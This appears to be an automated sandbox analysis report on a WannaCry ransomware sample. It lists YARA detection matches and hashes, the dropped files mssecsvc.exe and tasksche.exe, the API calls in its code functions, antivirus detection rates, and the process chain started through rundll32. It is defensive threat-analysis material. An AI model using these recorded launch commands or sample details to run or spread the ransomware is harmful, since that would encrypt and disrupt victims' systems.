              Source: 16.0.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 8.0.mssecsvc.exe.7100a4.7.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 8.0.mssecsvc.exe.7100a4.7.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 8.0.mssecsvc.exe.7100a4.7.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
              Source: 8.2.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 8.2.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 8.2.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
              Source: 8.2.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 8.2.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
              Source: 8.2.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 28.2.tasksche.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 28.2.tasksche.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 28.2.tasksche.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
              Source: 8.0.mssecsvc.exe.400000.2.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 8.0.mssecsvc.exe.400000.2.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
              Source: 8.0.mssecsvc.exe.400000.2.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 28.0.tasksche.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 28.0.tasksche.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 28.0.tasksche.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
              Source: 4.0.mssecsvc.exe.7100a4.7.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 4.0.mssecsvc.exe.7100a4.7.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 4.0.mssecsvc.exe.7100a4.7.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
              Source: 4.2.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 4.2.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
              Source: 4.2.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 4.0.mssecsvc.exe.7100a4.5.raw.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 4.0.mssecsvc.exe.7100a4.5.raw.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 4.0.mssecsvc.exe.7100a4.5.raw.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
              Source: 00000004.00000000.292639751.0000000000710000.00000080.00000001.01000000.00000004.sdmp, type: MEMORYMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 0000001C.00000000.371807837.000000000040E000.00000008.00000001.01000000.00000007.sdmp, type: MEMORYMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 0000001C.00000002.376601170.000000000040E000.00000008.00000001.01000000.00000007.sdmp, type: MEMORYMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 00000010.00000000.304404553.0000000000710000.00000080.00000001.01000000.00000004.sdmp, type: MEMORYMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 00000008.00000000.296643243.0000000000710000.00000080.00000001.01000000.00000004.sdmp, type: MEMORYMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 00000008.00000000.292371942.0000000000710000.00000080.00000001.01000000.00000004.sdmp, type: MEMORYMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 00000004.00000000.289006275.0000000000710000.00000080.00000001.01000000.00000004.sdmp, type: MEMORYMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 00000008.00000000.294287022.0000000000710000.00000080.00000001.01000000.00000004.sdmp, type: MEMORYMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 00000004.00000000.286963236.0000000000710000.00000080.00000001.01000000.00000004.sdmp, type: MEMORYMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 00000004.00000002.557301773.0000000000710000.00000080.00000001.01000000.00000004.sdmp, type: MEMORYMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 00000004.00000000.287911661.0000000000710000.00000080.00000001.01000000.00000004.sdmp, type: MEMORYMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 00000008.00000000.298064075.0000000000710000.00000080.00000001.01000000.00000004.sdmp, type: MEMORYMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 00000008.00000002.378431386.0000000000710000.00000080.00000001.01000000.00000004.sdmp, type: MEMORYMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 00000010.00000002.386077102.0000000000710000.00000080.00000001.01000000.00000004.sdmp, type: MEMORYMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: C:\Windows\tasksche.exe, type: DROPPEDMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: C:\Windows\tasksche.exe, type: DROPPEDMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: C:\Windows\tasksche.exe, type: DROPPEDMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
              Source: C:\Windows\mssecsvc.exe, type: DROPPEDMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: C:\Windows\mssecsvc.exe, type: DROPPEDMatched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
              Source: C:\Windows\mssecsvc.exe, type: DROPPEDMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: C:\Windows\SysWOW64\rundll32.exeFile created: C:\WINDOWS\mssecsvc.exeJump to behavior
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_00A83CB74_2_00A83CB7
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_00A83C884_2_00A83C88
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_00A83CE34_2_00A83CE3
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_00A828C84_2_00A828C8
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_00A83CCE4_2_00A83CCE
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_00A83BD54_2_00A83BD5
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_00A83C5A4_2_00A83C5A
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_7FEA3CE34_2_7FEA3CE3
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_7FEA28C84_2_7FEA28C8
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_7FEA3CCE4_2_7FEA3CCE
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_7FEA4BDD4_2_7FEA4BDD
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_7FEA3BD54_2_7FEA3BD5
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_7FEA3CB74_2_7FEA3CB7
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_7FEA3C884_2_7FEA3C88
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_7FEA3C5A4_2_7FEA3C5A
              Source: C:\Windows\mssecsvc.exeCode function: 16_2_00BD3CB716_2_00BD3CB7
              Source: C:\Windows\mssecsvc.exeCode function: 16_2_00BD3C8816_2_00BD3C88
              Source: C:\Windows\mssecsvc.exeCode function: 16_2_00BD3CE316_2_00BD3CE3
              Source: C:\Windows\mssecsvc.exeCode function: 16_2_00BD3BD516_2_00BD3BD5
              Source: C:\Windows\mssecsvc.exeCode function: 16_2_00BD3CCE16_2_00BD3CCE
              Source: C:\Windows\mssecsvc.exeCode function: 16_2_00BD28C816_2_00BD28C8
              Source: C:\Windows\mssecsvc.exeCode function: 16_2_00BD3C5A16_2_00BD3C5A
              Source: C:\Windows\tasksche.exeCode function: 28_2_00406C4028_2_00406C40
              Source: C:\Windows\tasksche.exeCode function: 28_2_00402A7628_2_00402A76
              Source: C:\Windows\tasksche.exeCode function: 28_2_00402E7E28_2_00402E7E
              Source: C:\Windows\tasksche.exeCode function: 28_2_0040350F28_2_0040350F
              Source: C:\Windows\tasksche.exeCode function: 28_2_00404C1928_2_00404C19
              Source: C:\Windows\tasksche.exeCode function: 28_2_0040541F28_2_0040541F
              Source: C:\Windows\tasksche.exeCode function: 28_2_0040379728_2_00403797
              Source: C:\Windows\tasksche.exeCode function: 28_2_004043B728_2_004043B7
              Source: C:\Windows\tasksche.exeCode function: 28_2_004031BC28_2_004031BC
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_00A805F2 FindCloseChangeNotification,GetModuleHandleA,NtCreateFile,NtOpenFile,NtCreateProcess,NtCreateProcessEx,NtCreateUserProcess,NtQueryInformationProcess,lstrcpyW,lstrcpyW,lstrcatW,NtMapViewOfSection,NtOpenProcessToken,FindCloseChangeNotification,CreateToolhelp32Snapshot,Process32First,Process32Next,OpenProcess,CreateRemoteThread,FindCloseChangeNotification,CloseHandle,4_2_00A805F2
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_00A8042D GetModuleHandleA,GetVersion,VirtualAlloc,FindCloseChangeNotification,SetProcessAffinityMask,NtCreateFile,NtOpenFile,NtCreateProcess,NtCreateProcessEx,NtCreateUserProcess,NtQueryInformationProcess,lstrcpyW,lstrcpyW,lstrcatW,NtMapViewOfSection,NtOpenProcessToken,CreateToolhelp32Snapshot,Process32First,Process32Next,OpenProcess,CreateRemoteThread,FindCloseChangeNotification,4_2_00A8042D
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_00A8252F NtOpenSection,4_2_00A8252F
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_00A82574 NtMapViewOfSection,FindCloseChangeNotification,NtCreateFile,NtOpenFile,NtCreateProcess,NtCreateProcessEx,NtCreateUserProcess,NtQueryInformationProcess,4_2_00A82574
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_00A82477 NtCreateFile,NtCreateFile,NtCreateFile,NtProtectVirtualMemory,NtWriteVirtualMemory,4_2_00A82477
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_00A8144A LookupPrivilegeValueA,NtAdjustPrivilegesToken,4_2_00A8144A
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_00A824AE lstrcpyW,lstrlenW,NtCreateSection,4_2_00A824AE
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_00A8339D NtOpenSection,NtQuerySystemInformation,MapViewOfFile,CloseHandle,UnmapViewOfFile,4_2_00A8339D
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_00A81422 LookupPrivilegeValueA,NtAdjustPrivilegesToken,4_2_00A81422
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_00A83378 NtOpenSection,NtQuerySystemInformation,MapViewOfFile,CloseHandle,UnmapViewOfFile,4_2_00A83378
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_7FEA05F2 CloseHandle,GetModuleHandleA,NtCreateFile,NtOpenFile,NtCreateProcess,NtCreateProcessEx,NtCreateUserProcess,NtQueryInformationProcess,lstrcpyW,lstrcpyW,lstrcatW,NtMapViewOfSection,NtOpenProcessToken,CreateToolhelp32Snapshot,Process32First,Process32Next,OpenProcess,CreateRemoteThread,CloseHandle,CloseHandle,4_2_7FEA05F2
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_7FEA24AE lstrcpyW,lstrlenW,NtCreateSection,4_2_7FEA24AE
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_7FEA339D NtOpenSection,NtQuerySystemInformation,MapViewOfFile,CloseHandle,UnmapViewOfFile,4_2_7FEA339D
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_7FEA3378 NtOpenSection,NtQuerySystemInformation,MapViewOfFile,CloseHandle,UnmapViewOfFile,4_2_7FEA3378
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_7FEA2477 NtCreateFile,NtCreateFile,NtCreateFile,NtProtectVirtualMemory,NtWriteVirtualMemory,4_2_7FEA2477
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_7FEA2574 NtMapViewOfSection,CloseHandle,NtCreateFile,NtOpenFile,NtCreateProcess,NtCreateProcessEx,NtCreateUserProcess,NtQueryInformationProcess,4_2_7FEA2574
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_7FEA144A LookupPrivilegeValueA,NtAdjustPrivilegesToken,4_2_7FEA144A
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_7FEA252F NtOpenSection,4_2_7FEA252F
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_7FEA042D GetModuleHandleA,GetVersion,VirtualAlloc,CloseHandle,SetProcessAffinityMask,NtCreateFile,NtOpenFile,NtCreateProcess,NtCreateProcessEx,NtCreateUserProcess,NtQueryInformationProcess,lstrcpyW,lstrcpyW,lstrcatW,NtMapViewOfSection,NtOpenProcessToken,CreateToolhelp32Snapshot,Process32First,Process32Next,OpenProcess,CreateRemoteThread,CloseHandle,4_2_7FEA042D
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_7FEA1422 LookupPrivilegeValueA,NtAdjustPrivilegesToken,4_2_7FEA1422
              Source: C:\Windows\mssecsvc.exeCode function: 16_2_00BD05F2 CloseHandle,GetModuleHandleA,NtCreateFile,NtOpenFile,NtCreateProcess,NtCreateProcessEx,NtCreateUserProcess,NtQueryInformationProcess,lstrcpyW,lstrcpyW,lstrcatW,NtMapViewOfSection,NtOpenProcessToken,FindCloseChangeNotification,CreateToolhelp32Snapshot,Process32First,Process32Next,OpenProcess,CreateRemoteThread,CloseHandle,CloseHandle,16_2_00BD05F2
              Source: C:\Windows\mssecsvc.exeCode function: 16_2_00BD252F NtOpenSection,16_2_00BD252F
              Source: C:\Windows\mssecsvc.exeCode function: 16_2_00BD2574 NtMapViewOfSection,FindCloseChangeNotification,NtCreateFile,NtOpenFile,NtCreateProcess,NtCreateProcessEx,NtCreateUserProcess,NtQueryInformationProcess,16_2_00BD2574
              Source: C:\Windows\mssecsvc.exeCode function: 16_2_00BD2477 NtCreateFile,NtCreateFile,NtCreateFile,NtProtectVirtualMemory,NtWriteVirtualMemory,16_2_00BD2477
              Source: C:\Windows\mssecsvc.exeCode function: 16_2_00BD144A LookupPrivilegeValueA,NtAdjustPrivilegesToken,16_2_00BD144A
              Source: C:\Windows\mssecsvc.exeCode function: 16_2_00BD24AE lstrcpyW,lstrlenW,NtCreateSection,16_2_00BD24AE
              Source: C:\Windows\mssecsvc.exeCode function: 16_2_00BD339D NtOpenSection,NtQuerySystemInformation,MapViewOfFile,CloseHandle,UnmapViewOfFile,16_2_00BD339D
              Source: C:\Windows\mssecsvc.exeCode function: 16_2_00BD042D GetModuleHandleA,GetVersion,VirtualAlloc,CloseHandle,SetProcessAffinityMask,NtCreateFile,NtOpenFile,NtCreateProcess,NtCreateProcessEx,NtCreateUserProcess,NtQueryInformationProcess,lstrcpyW,lstrcpyW,lstrcatW,NtMapViewOfSection,NtOpenProcessToken,CreateToolhelp32Snapshot,Process32First,Process32Next,OpenProcess,CreateRemoteThread,CloseHandle,16_2_00BD042D
              Source: C:\Windows\mssecsvc.exeCode function: 16_2_00BD1422 LookupPrivilegeValueA,NtAdjustPrivilegesToken,16_2_00BD1422
              Source: C:\Windows\mssecsvc.exeCode function: 16_2_00BD3378 NtOpenSection,NtQuerySystemInformation,MapViewOfFile,CloseHandle,UnmapViewOfFile,16_2_00BD3378
              Source: mssecsvc.exe.2.drStatic PE information: Resource name: R type: PE32 executable (GUI) Intel 80386, for MS Windows
              Source: tasksche.exe.8.drStatic PE information: Resource name: XIA type: Zip archive data, at least v2.0 to extract
              Source: C:\Windows\System32\svchost.exeSection loaded: xboxlivetitleid.dllJump to behavior
              Source: C:\Windows\System32\svchost.exeSection loaded: cdpsgshims.dllJump to behavior
              Source: C:\Windows\System32\svchost.exeSection loaded: windowscoredeviceinfo.dllJump to behavior
              Source: C:\Windows\System32\svchost.exeSection loaded: windowscoredeviceinfo.dllJump to behavior
              Source: C:\Windows\System32\svchost.exeSection loaded: windowscoredeviceinfo.dllJump to behavior
              Source: C:\Windows\System32\svchost.exeSection loaded: windowscoredeviceinfo.dllJump to behavior
              Source: Joe Sandbox ViewDropped File: C:\Windows\tasksche.exe 2584E1521065E45EC3C17767C065429038FC6291C091097EA8B22C8A502C41DD
              Source: 7Qu8thR7WW.dllVirustotal: Detection: 80%
              Source: 7Qu8thR7WW.dllMetadefender: Detection: 71%
              Source: 7Qu8thR7WW.dllReversingLabs: Detection: 87%
              Source: 7Qu8thR7WW.dllStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
              Source: C:\Windows\System32\loaddll32.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
              Source: unknownProcess created: C:\Windows\System32\loaddll32.exe loaddll32.exe "C:\Users\user\Desktop\7Qu8thR7WW.dll"
              Source: C:\Windows\System32\loaddll32.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\7Qu8thR7WW.dll",#1
              Source: C:\Windows\System32\loaddll32.exeProcess created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\7Qu8thR7WW.dll,PlayGame
              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\7Qu8thR7WW.dll",#1
              Source: C:\Windows\SysWOW64\rundll32.exeProcess created: C:\Windows\mssecsvc.exe C:\WINDOWS\mssecsvc.exe
              Source: C:\Windows\System32\loaddll32.exeProcess created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\7Qu8thR7WW.dll",PlayGame
              Source: C:\Windows\mssecsvc.exeProcess created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
              Source: C:\Windows\SysWOW64\rundll32.exeProcess created: C:\Windows\mssecsvc.exe C:\WINDOWS\mssecsvc.exe
              Source: C:\Windows\mssecsvc.exeProcess created: C:\Windows\System32\svchost.exe c:\windows\system32\svchost.exe -k localservice -p -s CDPSvc
              Source: unknownProcess created: C:\Windows\System32\svchost.exe c:\windows\system32\svchost.exe -k networkservice -p -s DoSvc
              Source: unknownProcess created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k NetworkService -p
              Source: unknownProcess created: C:\Windows\System32\SgrmBroker.exe C:\Windows\system32\SgrmBroker.exe
              Source: unknownProcess created: C:\Windows\mssecsvc.exe C:\WINDOWS\mssecsvc.exe -m security
              Source: unknownProcess created: C:\Windows\System32\svchost.exe c:\windows\system32\svchost.exe -k localservicenetworkrestricted -p -s wscsvc
              Source: unknownProcess created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
              Source: unknownProcess created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
              Source: C:\Windows\mssecsvc.exeProcess created: C:\Windows\tasksche.exe C:\WINDOWS\tasksche.exe /i
              Source: C:\Windows\System32\svchost.exeProcess created: C:\Windows\System32\UsoClient.exe C:\Windows\system32\usoclient.exe StartScan
              Source: C:\Windows\System32\svchost.exeProcess created: C:\Windows\System32\UNP\UpdateNotificationMgr.exe C:\Windows\System32\UNP\UpdateNotificationMgr.exe
              Source: C:\Windows\System32\svchost.exeProcess created: C:\Windows\System32\taskhostw.exe taskhostw.exe None
              Source: unknownProcess created: C:\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k wusvcs -p -s WaaSMedicSvc
              Source: C:\Windows\System32\loaddll32.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\7Qu8thR7WW.dll",#1Jump to behavior
              Source: C:\Windows\System32\loaddll32.exeProcess created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\7Qu8thR7WW.dll,PlayGameJump to behavior
              Source: C:\Windows\System32\loaddll32.exeProcess created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\7Qu8thR7WW.dll",PlayGameJump to behavior
              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\7Qu8thR7WW.dll",#1Jump to behavior
              Source: C:\Windows\SysWOW64\rundll32.exeProcess created: C:\Windows\mssecsvc.exe C:\WINDOWS\mssecsvc.exeJump to behavior
              Source: C:\Windows\SysWOW64\rundll32.exeProcess created: C:\Windows\mssecsvc.exe C:\WINDOWS\mssecsvc.exeJump to behavior
